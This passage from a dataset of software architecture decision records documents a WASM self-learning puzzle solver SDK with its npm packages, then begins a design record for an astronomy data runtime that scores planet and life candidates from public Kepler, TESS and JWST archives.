ES2020 target, strict mode, declarations\n\u251c\u2500\u2500 pkg/\n\u2502 \u251c\u2500\u2500 rvf_solver.js # WASM loader (singleton, Node CJS/ESM + browser)\n\u2502 \u251c\u2500\u2500 rvf_solver.d.ts # Low-level WASM C-ABI type declarations\n\u2502 \u2514\u2500\u2500 rvf_solver_bg.wasm # Built from rvf-solver-wasm crate\n\u2514\u2500\u2500 src/\n \u251c\u2500\u2500 index.ts # Barrel exports: RvfSolver + all types\n \u251c\u2500\u2500 solver.ts # RvfSolver class (create/train/acceptance/policy/witnessChain/destroy)\n \u2514\u2500\u2500 types.ts # TrainOptions, AcceptanceManifest, PolicyState, etc.\n```\n\n| Type | Fields | Purpose |\n|------|--------|---------|\n| `TrainOptions` | `count`, `minDifficulty?`, `maxDifficulty?`, `seed?` | Configure training run |\n| `TrainResult` | `trained`, `correct`, `accuracy`, `patternsLearned` | Training outcome |\n| `AcceptanceOptions` | `holdoutSize?`, `trainingPerCycle?`, `cycles?`, `stepBudget?`, `seed?` | Configure acceptance test |\n| `AcceptanceManifest` | `modeA`, `modeB`, `modeC`, `allPassed`, `witnessEntries`, `witnessChainBytes` | Full ablation results |\n| `PolicyState` | `contextStats`, `earlyCommitPenalties`, `prepass`, `speculativeAttempts` | Thompson Sampling state |\n| `SkipModeStats` | `attempts`, `successes`, `alphaSafety`, `betaSafety`, `costEma` | Per-arm bandit stats |\n\n#### Low-Level WASM Usage (advanced)\n\n```javascript\n// Direct WASM C-ABI usage (without the SDK wrapper)\nconst wasm = await WebAssembly.instantiate(solverModule);\n\nconst handle = wasm.exports.rvf_solver_create();\nconst correct = wasm.exports.rvf_solver_train(handle, 1000, 1, 10, 42, 0);\n\nconst len = wasm.exports.rvf_solver_result_len(handle);\nconst ptr = wasm.exports.rvf_solver_alloc(len);\nwasm.exports.rvf_solver_result_read(handle, ptr);\nconst json = new TextDecoder().decode(new Uint8Array(wasm.memory.buffer, ptr, len));\n\n// Witness chain verifiable by rvf-wasm\nconst wLen = wasm.exports.rvf_solver_witness_len(handle);\nconst wPtr = wasm.exports.rvf_solver_alloc(wLen);\nwasm.exports.rvf_solver_witness_read(handle, wPtr);\nconst chain = new Uint8Array(wasm.memory.buffer, wPtr, wLen);\nconst verified = rvfWasm.exports.rvf_witness_verify(chainPtr, wLen);\n\nwasm.exports.rvf_solver_destroy(handle);\n```\n\n## Module Structure\n\n```\ncrates/rvf/rvf-solver-wasm/\n\u251c\u2500\u2500 Cargo.toml # no_std + alloc, dlmalloc, libm, serde_json\n\u251c\u2500\u2500 src/\n\u2502 \u251c\u2500\u2500 lib.rs # WASM exports, instance registry, panic handler\n\u2502 \u251c\u2500\u2500 alloc_setup.rs # dlmalloc global allocator, rvf_solver_alloc/free\n\u2502 \u251c\u2500\u2500 types.rs # Date arithmetic, Constraint, Puzzle, Rng64\n\u2502 \u251c\u2500\u2500 policy.rs # PolicyKernel, Thompson Sampling, KnowledgeCompiler\n\u2502 \u2514\u2500\u2500 engine.rs # AdaptiveSolver, ReasoningBank, PuzzleGenerator, acceptance test\n```\n\n| File | Lines | Purpose |\n|------|-------|---------|\n| `types.rs` | 239 | Pure-integer date math (Howard Hinnant algorithm), constraints, puzzle type |\n| `policy.rs` | ~480 | Full Thompson Sampling with Marsaglia gamma sampling, 18-bucket context |\n| `engine.rs` | ~490 | Three-loop solver, acceptance test runner, puzzle generator |\n| `lib.rs` | ~280 | 12 WASM exports, handle registry (8 slots), witness chain integration |\n\n## Binary Size\n\n| Build | Size |\n|-------|------|\n| Release (wasm32-unknown-unknown) | ~171 KB |\n| After wasm-opt -Oz | 132 KB |\n\n## npm Package Ecosystem\n\nThe AGI solver is exposed through a layered npm package architecture:\n\n| Package | Version | Role | Install |\n|---------|---------|------|---------|\n| `@ruvector/rvf-solver` | 0.1.3 | Typed TypeScript SDK for the self-learning solver | `npm i @ruvector/rvf-solver` |\n| `@ruvector/rvf` | 0.1.9 | Unified SDK re-exporting solver + database | `npm i @ruvector/rvf` |\n| `@ruvector/rvf-node` | 0.1.7 | Native NAPI bindings with AGI methods (`indexStats`, `verifyWitness`, `freeze`, `metric`) | `npm i @ruvector/rvf-node` |\n| `@ruvector/rvf-wasm` | 0.1.6 | WASM microkernel with witness verification | `npm i @ruvector/rvf-wasm` |\n\n### Dependency Graph\n\n```\n@ruvector/rvf (unified SDK)\n\u251c\u2500\u2500 @ruvector/rvf-node (required, native NAPI)\n\u251c\u2500\u2500 @ruvector/rvf-wasm (optional, browser fallback)\n\u2514\u2500\u2500 @ruvector/rvf-solver (optional, AGI solver)\n \u2514\u2500\u2500 rvf-solver-wasm WASM binary (loaded at runtime)\n```\n\n### AGI NAPI Methods (rvf-node)\n\nThe native NAPI bindings expose AGI-relevant methods beyond basic vector CRUD:\n\n| Method | Returns | Purpose |\n|--------|---------|---------|\n| `indexStats()` | `RvfIndexStats` | HNSW index statistics (layers, M, ef_construction, indexed count) |\n| `verifyWitness()` | `RvfWitnessResult` | Verify tamper-evident SHAKE-256 witness chain integrity |\n| `freeze()` | `void` | Snapshot-freeze current state for deterministic replay |\n| `metric()` | `string` | Get distance metric name (`l2`, `cosine`, `dotproduct`) |\n\n## Consequences\n\n### Positive\n\n- The actual self-learning AGI engine runs in the browser, Node.js, and edge runtimes via WASM\n- No Rust toolchain required for end users \u2014 `npm install` + WASM load is sufficient\n- Deterministic: same seed \u2192 same puzzles \u2192 same learning \u2192 same witness chain\n- Witness chains produced in WASM are verifiable by the existing `rvf_witness_verify` export\n- PolicyKernel state is inspectable via `rvf_solver_policy_read` (JSON serializable)\n- Handle-based API supports up to 8 concurrent solver instances\n- 132 KB binary (after wasm-opt -Oz) includes the complete solver, Thompson Sampling, and serde_json\n- TypeScript SDK (`@ruvector/rvf-solver`) provides ergonomic async API with automatic WASM memory management\n- Unified SDK (`@ruvector/rvf`) re-exports solver alongside database for single-import usage\n- Native NAPI bindings expose AGI methods (index stats, witness verification, freeze) for server-side usage\n\n### Negative\n\n- Date arithmetic is reimplemented (pure-integer) rather than using `chrono`, requiring validation against the original\n- `HashMap` \u2192 `BTreeMap` changes iteration order (sorted vs hash-order), which may produce different witness chain hashes than the native benchmarks\n- Float math via `libm` may have minor precision differences vs std `f64` methods, affecting Thompson Sampling distributions\n- The puzzle generator is simplified compared to the full benchmarks generator (no cross-cultural constraints)\n\n### Neutral\n\n- The native benchmarks crate remains the reference implementation for full-fidelity acceptance tests\n- The WASM module is a faithful port, not a binding \u2014 both implementations should converge on the same acceptance test outcomes given identical seeds\n- `rvf-solver-wasm` is a member of the `crates/rvf` workspace alongside `rvf-wasm`\n\n### Implementation Notes (2026-02-17)\n\n- WASM loader (`pkg/rvf_solver.js`) rewritten as pure CJS to fix ESM/CJS interop \u2014 `import.meta.url` and `export default` removed\n- Snake_case \u2192 camelCase field mapping added in `solver.ts` for `train()`, `policy()`, and `acceptance()` methods\n- `AcceptanceModeResult` type updated to match actual WASM output: `passed`, `accuracyMaintained`, `costImproved`, `robustnessImproved`, `zeroViolations`, `dimensionsImproved`, `cycles[]`\n- SDK tests added at `npm/packages/rvf-solver/test/solver.test.mjs` (import validation, type structure, WASM integration)\n- Security review completed: WASM loader path validation flagged as LOW risk (library-internal API), `JSON.parse` on WASM memory is trusted\n\n---\n\n## Appendix: Public Package Documentation\n\n# @ruvector/rvf-solver\n\n[![npm](https://img.shields.io/npm/v/@ruvector/rvf-solver)](https://www.npmjs.com/package/@ruvector/rvf-solver)\n[![license](https://img.shields.io/npm/l/@ruvector/rvf-solver)](https://github.com/ruvnet/ruvector/blob/main/LICENSE)\n![platforms](https://img.shields.io/badge/platforms-Node.js%20%7C%20Browser%20%7C%20Edge-blue)\n\nSelf-learning temporal solver with Thompson Sampling, PolicyKernel, ReasoningBank, and SHAKE-256 tamper-evident witness chains. Runs in the browser, Node.js, and edge runtimes via WebAssembly.\n\n### Install\n\n```bash\nnpm install @ruvector/rvf-solver\n```\n\nOr via the unified SDK:\n\n```bash\nnpm install @ruvector/rvf\n```\n\n### Features\n\n- **Thompson Sampling two-signal model** \u2014 safety Beta distribution + cost EMA for adaptive policy selection\n- **18 context-bucketed bandits** \u2014 3 range x 3 distractor x 2 noise levels for fine-grained context awareness\n- **KnowledgeCompiler with signature-based pattern cache** \u2014 distills learned patterns into reusable compiled configurations\n- **Speculative dual-path execution** \u2014 runs two candidate arms in parallel, picks the winner\n- **Three-loop adaptive solver** \u2014 fast: constraint propagation solve, medium: PolicyKernel skip-mode selection, slow: KnowledgeCompiler pattern distillation\n- **SHAKE-256 tamper-evident witness chain** \u2014 73 bytes per entry, cryptographically linked proof of all operations\n- **Full acceptance test with A/B/C ablation modes** \u2014 validates learned policy outperforms fixed and compiler baselines\n- **~132 KB WASM binary, `no_std`** \u2014 runs anywhere WebAssembly does (browsers, Node.js, Deno, Cloudflare Workers, edge runtimes)\n\n### Quick Start\n\n```typescript\nimport { RvfSolver } from '@ruvector/rvf-solver';\n\n// Create a solver instance (loads WASM on first call)\nconst solver = await RvfSolver.create();\n\n// Train on 100 puzzles (difficulty 1-5)\nconst result = solver.train({ count: 100, minDifficulty: 1, maxDifficulty: 5 });\nconsole.log(`Accuracy: ${(result.accuracy * 100).toFixed(1)}%`);\nconsole.log(`Patterns learned: ${result.patternsLearned}`);\n\n// Run full acceptance test (A/B/C ablation)\nconst manifest = solver.acceptance({ cycles: 3 });\nconsole.log(`All passed: ${manifest.allPassed}`);\n\n// Inspect Thompson Sampling policy state\nconst policy = solver.policy();\nconsole.log(`Context buckets: ${Object.keys(policy?.contextStats ?? {}).length}`);\nconsole.log(`Speculative attempts: ${policy?.speculativeAttempts}`);\n\n// Get raw SHAKE-256 witness chain\nconst chain = solver.witnessChain();\nconsole.log(`Witness chain: ${chain?.length ?? 0} bytes`);\n\n// Free WASM resources\nsolver.destroy();\n```\n\n### API Reference\n\n#### `RvfSolver.create(): Promise`\n\nCreates a new solver instance. Initializes the WASM module on the first call; subsequent calls reuse the loaded module. Up to 8 concurrent instances are supported.\n\n#### `solver.train(options: TrainOptions): TrainResult`\n\nTrains the solver on randomly generated puzzles using the three-loop architecture. The fast loop applies constraint propagation, the medium loop selects skip modes via Thompson Sampling, and the slow loop distills patterns into the KnowledgeCompiler cache.\n\n#### `solver.acceptance(options?: AcceptanceOptions): AcceptanceManifest`\n\nRuns the full acceptance test with training/holdout cycles across all three ablation modes (A, B, C). Returns a manifest with per-cycle metrics, pass/fail status, and witness chain metadata.\n\n#### `solver.policy(): PolicyState | null`\n\nReturns the current Thompson Sampling policy state including per-context-bucket arm statistics, KnowledgeCompiler cache stats, and speculative execution counters. Returns `null` if no training has been performed.\n\n#### `solver.witnessChain(): Uint8Array | null`\n\nReturns the raw SHAKE-256 witness chain bytes. Each entry is 73 bytes and provides tamper-evident proof of all training and acceptance operations. Returns `null` if the chain is empty. The returned `Uint8Array` is a copy safe to use after `destroy()`.\n\n#### `solver.destroy(): void`\n\nFrees the WASM solver instance and releases all associated memory. The instance must not be used after calling `destroy()`.\n\n### Types\n\n#### TrainOptions\n\n| Field | Type | Default | Description |\n|-------|------|---------|-------------|\n| `count` | `number` | required | Number of puzzles to generate and solve |\n| `minDifficulty` | `number` | `1` | Minimum puzzle difficulty (1-10) |\n| `maxDifficulty` | `number` | `10` | Maximum puzzle difficulty (1-10) |\n| `seed` | `bigint \\| number` | random | RNG seed for reproducible runs |\n\n#### TrainResult\n\n| Field | Type | Description |\n|-------|------|-------------|\n| `trained` | `number` | Number of puzzles trained on |\n| `correct` | `number` | Number solved correctly |\n| `accuracy` | `number` | Accuracy ratio (correct / trained) |\n| `patternsLearned` | `number` | Patterns distilled by the ReasoningBank |\n\n#### AcceptanceOptions\n\n| Field | Type | Default | Description |\n|-------|------|---------|-------------|\n| `holdoutSize` | `number` | `50` | Number of holdout puzzles per cycle |\n| `trainingPerCycle` | `number` | `200` | Number of training puzzles per cycle |\n| `cycles` | `number` | `5` | Number of train/test cycles |\n| `stepBudget` | `number` | `500` | Maximum constraint propagation steps per puzzle |\n| `seed` | `bigint \\| number` | random | RNG seed for reproducible runs |\n\n#### AcceptanceManifest\n\n| Field | Type | Description |\n|-------|------|-------------|\n| `version` | `number` | Manifest schema version |\n| `modeA` | `AcceptanceModeResult` | Mode A results (fixed heuristic) |\n| `modeB` | `AcceptanceModeResult` | Mode B results (compiler-suggested) |\n| `modeC` | `AcceptanceModeResult` | Mode C results (learned policy) |\n| `allPassed` | `boolean` | `true` if Mode C passed |\n| `witnessEntries` | `number` | Number of entries in the witness chain |\n| `witnessChainBytes` | `number` | Total witness chain size in bytes |\n\n#### AcceptanceModeResult\n\n| Field | Type | Description |\n|-------|------|-------------|\n| `passed` | `boolean` | Whether this mode met the accuracy threshold |\n| `accuracyMaintained` | `boolean` | Accuracy maintained across cycles |\n| `costImproved` | `boolean` | Cost per solve improved |\n| `robustnessImproved` | `boolean` | Noise robustness improved |\n| `zeroViolations` | `boolean` | No constraint violations |\n| `dimensionsImproved` | `number` | Number of dimensions that improved |\n| `cycles` | `CycleMetrics[]` | Per-cycle accuracy and cost metrics |\n\n#### PolicyState\n\n| Field | Type | Description |\n|-------|------|-------------|\n| `contextStats` | `Record>` | Per-context-bucket, per-arm Thompson Sampling statistics |\n| `earlyCommitPenalties` | `number` | Total early-commit penalty cost |\n| `earlyCommitsTotal` | `number` | Total early-commit attempts |\n| `earlyCommitsWrong` | `number` | Early commits that were incorrect |\n| `prepass` | `string` | Current prepass strategy identifier |\n| `speculativeAttempts` | `number` | Number of speculative dual-path executions |\n| `speculativeArm2Wins` | `number` | Times the second speculative arm won |\n\n### Acceptance Test Modes\n\nThe acceptance test validates the solver's learning capability through three ablation modes run across multiple train/test cycles:\n\n**Mode A (Fixed)** -- Uses a fixed heuristic skip-mode policy. This establishes the baseline performance without any learning. The policy does not adapt regardless of puzzle characteristics.\n\n**Mode B (Compiler)** -- Uses the KnowledgeCompiler's signature-based pattern cache to select skip modes. The compiler distills observed patterns into compiled configurations but does not perform online Thompson Sampling updates.\n\n**Mode C (Learned)** -- Uses the full Thompson Sampling two-signal model with context-bucketed bandits. This is the complete system: the fast loop solves, the medium loop selects arms based on safety Beta and cost EMA, and the slow loop feeds patterns back to the compiler. Mode C should outperform both A and B, demonstrating genuine self-improvement.\n\nThe test passes when Mode C achieves the accuracy threshold on holdout puzzles. The witness chain records every training and evaluation operation for tamper-evident auditability.\n\n### Architecture\n\nThe solver uses a three-loop adaptive architecture:\n\n```\n+-----------------------------------------------+\n| Slow Loop: KnowledgeCompiler |\n| - Signature-based pattern cache |\n| - Distills observations into compiled configs |\n+-----------------------------------------------+\n | ^\n v |\n+-----------------------------------------------+\n| Medium Loop: PolicyKernel |\n| - Thompson Sampling (safety Beta + cost EMA) |\n| - 18 context buckets (range x distractor x noise) |\n| - Speculative dual-path execution |\n+-----------------------------------------------+\n | ^\n v |\n+-----------------------------------------------+\n| Fast Loop: Constraint Propagation Solver |\n| - Generates and solves puzzles |\n| - Reports outcomes back to PolicyKernel |\n+-----------------------------------------------+\n |\n v\n+-----------------------------------------------+\n| SHAKE-256 Witness Chain (73 bytes/entry) |\n| - Tamper-evident proof of all operations |\n+-----------------------------------------------+\n```\n\n### Unified SDK\n\nWhen using the `@ruvector/rvf` unified SDK, the solver is available as a sub-module:\n\n```typescript\nimport { RvfSolver } from '@ruvector/rvf';\n\nconst solver = await RvfSolver.create();\nconst result = solver.train({ count: 100 });\nconsole.log(`Accuracy: ${(result.accuracy * 100).toFixed(1)}%`);\nsolver.destroy();\n```\n\n### Related Packages\n\n| Package | Description |\n|---------|-------------|\n| [`@ruvector/rvf`](https://www.npmjs.com/package/@ruvector/rvf) | Unified TypeScript SDK |\n| [`@ruvector/rvf-node`](https://www.npmjs.com/package/@ruvector/rvf-node) | Native N-API bindings for Node.js |\n| [`@ruvector/rvf-wasm`](https://www.npmjs.com/package/@ruvector/rvf-wasm) | Browser WASM package |\n| [`@ruvector/rvf-mcp-server`](https://www.npmjs.com/package/@ruvector/rvf-mcp-server) | MCP server for AI agents |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-039-rvf-solver-wasm-agi-integration.md", "created_at": "2026-03-28T11:58:49.233926+00:00", "content_hash": "3f24033774fcd31104c61f9fcab4293a2c03016e3be1a63e0f2a0ef01a36ec01"} +{"id": "894536c1-d359-49ee-92cb-288b05c3d97b", "source": "adr", "text": "# ADR-040: Causal Atlas RVF Runtime \u2014 Planet Detection & Life Candidate Scoring\n\n**Status:** Proposed\n**Date:** 2026-02-18\n**Author:** System Architect (AgentDB v3)\n**Supersedes:** None\n**Related:** ADR-003 (RVF Format), ADR-006 (Unified Self-Learning RVF), ADR-007 (Full Capability Integration), ADR-008 (Chat UI RVF)\n**Package:** `@agentdb/causal-atlas`\n\n## Context\n\nADR-008 demonstrated that a single RVF artifact can embed a minimal Linux\nuserspace, an LLM inference engine, and a self-learning pipeline into one\nportable file. This ADR extends that pattern to scientific computing: a\nportable RVF runtime that ingests public astronomy and physics datasets,\nbuilds a multi-scale interaction graph, maintains a dynamic coherence field,\nand emits replayable witness logs for every derived claim.\n\nThe design draws engineering inspiration from causal sets, loop-gravity-style\ndiscretization, and holographic boundary encoding, but it is implemented as a\npractical data system, not a physics simulator. The holographic principle\nmanifests as a concrete design choice: primarily store and index boundaries,\nand treat interior state as reconstructable from boundary witnesses and\nretained archetypes.\n\n### Existing Capabilities (ADR-003 through ADR-008)\n\nRVF segments, HNSW indexing, SHAKE-256 witness chains, graph transactions,\n768-dim SIMD embeddings, SONA learning, federated coordination, contrastive\ntraining, adaptive index tuning, kernel embedding (ADR-008), and lazy model\ndownload (ADR-008). See ADR-003 through ADR-008 for full API details.\n\n### What This ADR Adds\n\n1. Domain adapters for astronomy data (light curves, spectra, galaxy catalogs)\n2. Compressed causal atlas with partial-order event graph\n3. Coherence field index with cut pressure and partition entropy\n4. Multi-scale interaction memory with budget-controlled tiered retention\n5. Boundary evolution tracker with holographic-style boundary-first storage\n6. Planet detection pipeline (Kepler/TESS transit search)\n7. Life candidate scoring pipeline (spectral disequilibrium signatures)\n8. Progressive data download from public sources on first activation\n\n## Goal State\n\nA single RVF artifact that boots a minimal Linux userspace, progressively\ndownloads and ingests public astronomy and physics datasets on first\nactivation (lazy, like ADR-008's GGUF model download), builds a multi-scale\ninteraction graph, maintains a dynamic coherence field, and emits replayable\nwitness logs for every derived claim.\n\n### Primary Outputs\n\n| # | Output | Description |\n|---|--------|-------------|\n| 1 | **Atlas snapshots** | Queryable causal partial order plus embeddings |\n| 2 | **Coherence field** | Partition tree plus cut pressure signals over time |\n| 3 | **Multi-scale memory** | Delta-encoded interaction history from seconds to micro-windows |\n| 4 | **Boundary tracker** | Boundary changes, drift, and anomaly alerts |\n| 5 | **Planet candidates** | Ranked list with traceable evidence |\n| 6 | **Life candidates** | Ranked list of spectral disequilibrium signatures with traceable evidence |\n\n### Non-Goals\n\n1. Proving quantum gravity\n2. Replacing astrophysical pipelines end-to-end\n3. Claiming life detection without conventional follow-up observation\n\n## Public Data Sources\n\nAll data is progressively downloaded from public archives on first activation.\nThe RVF artifact ships with download manifests and integrity hashes, not the\nraw data itself.\n\n### Planet Finding\n\n| Source | Access | Reference |\n|--------|--------|-----------|\n| Kepler light curves and pixel files | MAST bulk and portal | [archive.stsci.edu/kepler](https://archive.stsci.edu/missions-and-data/kepler) |\n| TESS light curves and full-frame images | MAST portal | [archive.stsci.edu/tess](https://archive.stsci.edu/missions-and-data/tess) |\n\n### Life-Relevant Spectra\n\n| Source | Access | Reference |\n|--------|--------|-----------|\n| JWST exoplanet spectra | exo.MAST and MAST holdings | [archive.stsci.edu](https://archive.stsci.edu/home) |\n| NASA Exoplanet Archive parameters | Cross-linking to spectra and mission products | [exoplanetarchive.ipac.caltech.edu](https://exoplanetarchive.ipac.caltech.edu/) |\n\n### Large-Scale Structure\n\n| Source | Access | Reference |\n|--------|--------|-----------|\n| SDSS public catalogs (spectra, redshifts) | DR17 | [sdss4.org/dr17](https://www.sdss4.org/dr17/) |\n\n### Progressive Download Strategy\n\nFollowing the lazy-download pattern established in ADR-008 for GGUF models:\n\n1. **Manifest-first**: RVF ships with `MANIFEST_SEG` containing download URLs,\n SHA-256 hashes, expected sizes, and priority tiers\n2. **Tier 0 (boot)**: Minimal curated dataset (~50 MB) for offline demo \u2014\n 100 Kepler targets with known confirmed planets, embedded in VEC_SEG\n3. **Tier 1 (first run)**: Download 1,000 Kepler targets on first pipeline\n activation. Background download, progress reported via CLI/HTTP\n4. **Tier 2 (expansion)**: Full Kepler/TESS catalog download on explicit\n `rvf ingest --expand` command\n5. **Tier 3 (spectra)**: JWST and archive spectra downloaded when life\n candidate pipeline is first activated\n6. **Seal-on-complete**: After download, data is ingested into VEC_SEG and\n INDEX_SEG, a new witness root is committed, and the RVF is sealed into\n a reproducible snapshot\n\n**State machine**: `[boot]` -> `[tier-0-only]` (offline demo) -> `[tier-1-ready]` (first inference) -> `[tier-2-ready]` (`rvf ingest --expand`) -> `[tier-3-ready]` (life pipeline) -> `[sealed-snapshot]`.\n\nEach tier download:\n- Resumes from last byte on interruption (HTTP Range headers)\n- Validates SHA-256 after download\n- Commits a witness record for the download event\n- Can be skipped with `--offline` flag (uses whatever is already present)\n\n## RVF Artifact Layout\n\nExtends the ADR-003 segment model with domain-specific segments.\n\n| # | Segment | Contents |\n|---|---------|----------|\n| 1 | `MANIFEST_SEG` | Segment table, hashes, policy, budgets, version gates, **download manifests** |\n| 2 | `KERNEL_SEG` | Minimal Linux kernel image for portable boot (reuse ADR-008) |\n| 3 | `INITRD_SEG` | Minimal userspace: busybox, RuVector binaries, data ingest tools, query server |\n| 4 | `EBPF_SEG` | Socket allow-list and syscall reduction. Default: local loopback + explicit download ports only |\n| 5 | `VEC_SEG` | Embedding vectors: light-curve windows, spectrum windows, graph node descriptors, partition boundary descriptors |\n| 6 | `INDEX_SEG` | HNSW unified attention index for vectors and boundary descriptors |\n| 7 | `GRAPH_SEG` | Dynamic interaction graph: nodes, edges, timestamps, authority, provenance |\n| 8 | `DELTA_SEG` | Append-only change log of graph updates and field updates |\n| 9 | `WITNESS_SEG` | Deterministic witness chain: canonical serialization, signed root hash progression |\n| 10 | `POLICY_SEG` | Data provenance requirements, candidate publishing thresholds, deny rules, confidence floors |\n| 11 | `DASHBOARD_SEG` | Vite-bundled Three.js visualization app \u2014 static assets served by runtime HTTP server |\n\n## Data Model\n\n### Core Entities\n\n| Entity | Key Fields | Description |\n|--------|-----------|-------------|\n| **Event** | `id`, `t_start`, `t_end`, `domain`, `payload_hash`, `provenance` | Time-windowed observation or derived result. Domain: kepler, tess, jwst, sdss, derived |\n| **Observation** | `id`, `instrument`, `target_id`, `data_pointer`, `calibration_version` | Raw instrument measurement with VEC_SEG offset |\n| **InteractionEdge** | `src_event_id`, `dst_event_id`, `type`, `weight`, `lag`, `confidence` | Typed relationship: causal, periodicity, shape_similarity, co_occurrence, spatial |\n| **Boundary** | `boundary_id`, `partition_*_hash`, `cut_weight`, `cut_witness`, `stability_score` | Graph partition boundary with witness chain reference |\n| **Candidate** | `candidate_id`, `category`, `evidence_pointers[]`, `score`, `uncertainty`, `publishable`, `witness_trace` | Planet or life candidate with POLICY_SEG-gated publishability |\n| **Provenance** | `source`, `download_witness`, `transform_chain[]`, `timestamp` | Full lineage from download through every transform |\n\n### Domain Adapters\n\n| Adapter | Input | Output |\n|---------|-------|--------|\n| **Planet Transit** | Flux time series + cadence metadata (Kepler/TESS FITS) | Event nodes, periodicity/shape InteractionEdges, dip Candidates |\n| **Spectrum** | Wavelength, flux, error arrays (JWST NIRSpec, etc.) | Band Event nodes, molecule co-occurrence edges, disequilibrium scores |\n| **Cosmic Web** (Phase 2+) | Galaxy positions and redshifts (SDSS) | Spatial adjacency graph with filament membership |\n\n## The Four System Constructs\n\n### 1. Compressed Causal Atlas\n\nPartial order of events plus minimal sufficient descriptors to reproduce derived edges.\n\n**Construction**: (1) Window light curves at scales 2h/12h/3d/27d. (2) Extract features: flux derivatives, autocorrelation peaks, wavelet energy, matched filter response. (3) Embed via RuVector SIMD into VEC_SEG. (4) Add causal edges where window A precedes B and improves predictability (prediction gain, POLICY_SEG constrained). (5) Compress: top-k parents per node, retain boundary witnesses, delta-encode into DELTA_SEG.\n\n**API**: `atlas.query(event_id)` returns parents/children with provenance. `atlas.trace(candidate_id)` returns minimal causal chain.\n\n### 2. Coherence Field Index\n\nField over the atlas graph assigning coherence pressure and cut stability over time. Signals: cut pressure (min-cut values), partition entropy (cluster size distribution), disagreement (cross-detector rate), drift (embedding distribution shift).\n\n**Algorithm**: Maintain partition tree with dynamic min-cut on incremental changes. Each epoch: compute cut witnesses for top boundaries, emit to GRAPH_SEG, append to WITNESS_SEG. Index boundaries by descriptor: cut value, partition sizes, curvature proxy, churn.\n\n**API**: `coherence.get(target_id, epoch)` returns field values. `boundary.nearest(descriptor)` returns similar historical states via INDEX_SEG.\n\n### 3. Multi-Scale Interaction Memory\n\nTiered retention with strict budget control: **S** (seconds-minutes, high-fidelity deltas), **M** (hours-days, aggregated), **L** (weeks-months, boundary summaries and archetypes). Retention preserves boundary-critical events and candidate evidence; compresses the rest via archetype clustering. DELTA_SEG is append-only; periodic compaction produces a new RVF root with witness proof.\n\n### 4. Boundary Evolution Tracker\n\nTreats boundaries as primary objects evolving over time -- the holographic design principle. Boundaries are stored and indexed as first-class objects; interior state is reconstructable from boundary witnesses and retained archetypes.\n\n**API**: `boundary.timeline(target_id)` returns boundary evolution. `boundary.alerts` fires on cut pressure spikes, boundary identity flips, disagreement threshold breaches, or persistent drift.\n\n## Planet Detection Pipeline\n\n### Stage P0: Ingest\n\n**Input**: Kepler or TESS light curves from MAST (progressively downloaded)\n\n1. Normalize flux\n2. Remove obvious systematics (detrending)\n3. Segment into windows and store as Event nodes\n\n### Stage P1: Candidate Generation\n\n1. Matched filter bank for transit-like dips\n2. Period search on candidate dip times (BLS or similar)\n3. Create Candidate node per period hypothesis\n\n### Stage P2: Coherence Gating\n\nCandidate must pass all gates:\n\n| Gate | Requirement |\n|------|-------------|\n| Multi-scale stability | Stable across multiple window scales |\n| Boundary consistency | Consistent boundary signature around transit times |\n| Low drift | Drift below threshold across adjacent windows |\n\n**Score components**:\n\n| Component | Description |\n|-----------|-------------|\n| SNR-like strength | Signal-to-noise of transit dip |\n| Shape consistency | Cross-transit shape agreement |\n| Period stability | Variance of period estimates |\n| Coherence stability | Coherence field stability around candidate |\n\n**Emit**: Candidate with evidence pointers + witness trace listing exact\nwindows, transforms, and thresholds used.\n\n## Life Candidate Pipeline\n\nLife detection here means pre-screening for non-equilibrium atmospheric\nchemistry signatures, not proof.\n\n### Stage L0: Ingest\n\n**Input**: Published or mission spectra tied to targets via MAST and NASA\nExoplanet Archive (progressively downloaded on first pipeline activation)\n\n1. Normalize and denoise within instrument error model\n2. Window spectra by wavelength bands\n3. Create band Event nodes\n\n### Stage L1: Feature Extraction\n\n1. Identify absorption features and confidence bands\n2. Encode presence vectors for key molecule families (H2O, CO2, CH4, O3, NH3, etc.)\n3. Build InteractionEdges between features that co-occur in physically\n meaningful patterns\n\n### Stage L2: Disequilibrium Scoring\n\n**Core concept**: Life-like systems maintain chemical ratios that resist\nthermodynamic relaxation.\n\n**Implementation as graph scoring**:\n\n1. Build a reaction plausibility graph (prior rule set in POLICY_SEG)\n2. Compute inconsistency score between observed co-occurrences and expected\n equilibrium patterns\n3. Track stability of that score across epochs and observation sets\n\n**Score components**:\n\n| Component | Description |\n|-----------|-------------|\n| Persistent multi-molecule imbalance | Proxy for non-equilibrium chemistry |\n| Feature repeatability | Agreement across instruments or visits |\n| Contamination risk penalty | Instrument artifact and stellar contamination |\n| Stellar activity confound penalty | Host star variability coupling |\n\n**Output**: Life candidate list with explicit uncertainty + required follow-up\nobservations list generated by POLICY_SEG rules.\n\n### Microlensing & Cross-Domain Extensions\n\n> See [ADR-040b: Microlensing & Graph-Cut Extensions](ADR-040b-microlensing-graphcut-extensions.md) for M0-M3 pipeline, cross-domain applications, measured results, and Rust crate structure.\n\n## Runtime and Portability\n\n### Boot Sequence\n\n1. RVF boots minimal Linux from KERNEL_SEG and INITRD_SEG (reuse ADR-008 `KernelBuilder`)\n2. Starts `rvf-runtime` daemon exposing local HTTP and CLI\n3. On first inference/query, progressively downloads required data tier\n\n### Local Interfaces\n\n**CLI**:\n```bash\nrvf run artifact.rvf # boot the runtime\nrvf query planet list # ranked planet candidates\nrvf query life list # ranked life candidates\nrvf trace # full witness trace for any candidate\nrvf ingest --expand # download tier-2 full catalog\nrvf status # download progress, segment sizes, witness count\n```\n\n**HTTP**:\n```\nGET / # Three.js dashboard (served from DASHBOARD_SEG)\nGET /assets/* # Dashboard static assets\n\nGET /api/atlas/query?event_id=... # causal parents/children\nGET /api/atlas/trace?candidate_id=... # minimal causal chain\nGET /api/coherence?target_id=...&epoch= # field values\nGET /api/boundary/timeline?target_id=...\nGET /api/boundary/alerts\nGET /api/candidates/planet # ranked planet list\nGET /api/candidates/life # ranked life list\nGET /api/candidates/:id/trace # witness trace\nGET /api/status # system health + download progress\nGET /api/memory/tiers # tier S/M/L utilization\n\nWS /ws/live # real-time boundary alerts, pipeline progress, candidate updates\n```\n\n### Determinism\n\n1. Fixed seeds for all stochastic operations\n2. Canonical serialization of every intermediate artifact\n3. Witness chain commits after each epoch\n4. Two-machine reproducibility: identical RVF root hash for identical input\n\n### Security Defaults\n\n1. Network off by default\n2. If enabled, eBPF allow-list: MAST/archive download ports + local loopback only\n3. No remote writes without explicit policy toggle in POLICY_SEG\n4. Downloaded data verified against MANIFEST_SEG hashes before ingestion\n\n### Dashboard Architecture\n\n> See [ADR-040a: Planet 